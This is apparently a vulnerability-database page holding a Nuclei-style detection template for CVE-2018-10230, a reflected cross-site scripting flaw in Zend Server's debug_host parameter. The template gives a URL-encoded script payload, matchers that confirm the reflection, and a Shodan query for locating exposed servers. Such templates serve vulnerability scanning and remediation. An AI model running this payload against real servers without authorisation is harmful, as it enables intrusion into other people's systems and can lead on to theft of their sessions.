CVE-2018-10230: Zend Server <9.13 - Cross-Site Scripting

2025-08-01 Zend Server PoC Public

Description

Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.

PoC

id: CVE-2018-10230

info:
  name: Zend Server <9.13 - Cross-Site Scripting
  author: marcos_iaf
  severity: medium
  description: |
    Zend Server before version 9.13 is vulnerable to cross-site scripting via the debug_host parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade Zend Server to version 9.13 or later to mitigate this vulnerability.
  reference:
    - https://www.synacktiv.com/ressources/zend_server_9_1_3_xss.pdf
    - https://www.zend.com/en/products/server/release-notes
    - https://nvd.nist.gov/vuln/detail/CVE-2018-10230
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-10230
    cwe-id: CWE-79
    epss-score: 0.02663
    epss-percentile: 0.84952
    cpe: cpe:2.3:a:zend:zend_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zend
    product: zend_server
    shodan-query: cpe:"cpe:2.3:a:zend:zend_server"
  tags: cve,cve2018,xss,zend,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?debug_host=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&start_debug=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"
          - "is not allowed to open debug sessions"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a00463044022035471cf1b8a7ce67ef4042d1154921797f3d1430756dc0190d61f42ff739d40c02204e95b2258df40718cc221427ff5ec02e693b218f9a32861e5aba6a5e9e0b67ce:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities